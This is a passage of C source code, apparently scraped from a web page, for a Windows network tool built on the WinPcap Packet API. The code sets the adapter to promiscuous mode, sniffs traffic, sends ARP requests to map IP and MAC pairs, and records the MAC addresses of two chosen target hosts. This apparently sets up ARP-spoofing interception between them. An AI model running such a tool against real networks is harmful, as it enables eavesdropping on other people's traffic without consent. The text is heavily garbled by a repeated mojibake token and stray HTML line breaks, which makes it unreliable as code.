(t¨©ng) (t¨©ng) (t¨©ng)fputc(isprint(*pChar) ? *pChar : '.',fp); <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)fwrite("\r\n",2,1,fp); (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)continue;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else if((eth->eh_type==htons(ETH_ARP)) && (arp->arp_opt==htons(ARP_REPLY))) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sin.sin_addr.s_addr=arp->arp_spa;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(sin.sin_addr.s_addr==htonl(myip)) <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(mmac,eth->eh_src,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(!mm)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\t"); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(k=0;k<5;k++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.2x-",eth->eh_src[k]);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.2x\n",eth->eh_src[5]);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)switch(op)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)case 1:<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\n[MAC LIST:]");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)break;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)case 2:<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\n[Sniffing Host:]"); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)break;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)default: (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)break;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)mm=TRUE;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if((op==1) || (op==2))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\n[IP:] %.16s (t¨©ng) (t¨©ng)[MAC:] ",inet_ntoa(sin.sin_addr));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(k=0;k<5;k++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.2x-",eth->eh_src[k]);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.2x",eth->eh_src[5]);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else if(((op==3) || (op==4)) && (!fm || !sm))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(arp->arp_spa==htonl(firstip))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(fmac,eth->eh_src,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)fm=TRUE;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(arp->arp_spa==htonl(secondip))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(smac,eth->eh_src,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sm=TRUE;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return ;<br />}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br />DWORD WINAPI sniff(LPVOID no)<br />{<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)int (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)option=*(int *)no;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)char (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) recvbuf[1024*250];<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("Warning: Unable to set the adapter to promiscuous mode\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketSetBuff(lpadapter,500*1024)==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("PacketSetBuff Error: %d\n",GetLastError());<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketSetReadTimeout(lpadapter,1)==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("Warning: Unable to set the timeout\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if((lppacketr=PacketAllocatePacket())==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("PacketAllocatePacket receive Error: %d\n",GetLastError());<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)while(!kbhit())<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(GetLastError()==6)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return 0;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("PacketReceivePacket Error: %d\n",GetLastError());<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)getdata(lppacketr,option);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return 0;<br />}<br /><br />DWORD WINAPI sendMASR(LPVOID no)<br />{<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)int (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)fun=*(int *)no;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)int (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)k,stimes;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)char (t¨©ng) (t¨©ng) sendbuf[1024];<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ETHDR (t¨©ng) (t¨©ng)eth;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ARPHDR arp;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(fun<1 || fun>4)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(k=0;k<6;k++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)eth.eh_dst[k]=0xff;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_tha[k]=0x00;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(fun==2)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)eth.eh_dst[5]=0xfe;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(eth.eh_src,mmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)eth.eh_type=htons(ETH_ARP);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_hdr=htons(ARP_HARDWARE);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_pro=htons(ETH_IP);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_hln=6;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_pln=4;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_opt=htons(ARP_REQUEST);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_spa=htonl(myip);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(arp.arp_sha,mmac,6);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(fun==1 || fun==2)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)stimes=1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else if(fun==3 || fun==4)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)stimes=2;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(k=0;k<stimes;k++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(stimes==1)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_tpa=htonl(firstip+(num++));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else if(stimes==2)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)switch(k)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)case 0:<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_tpa=htonl(firstip);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)break;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)case 1:<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_tpa=htonl(secondip);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)break;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)default:<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)break;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) 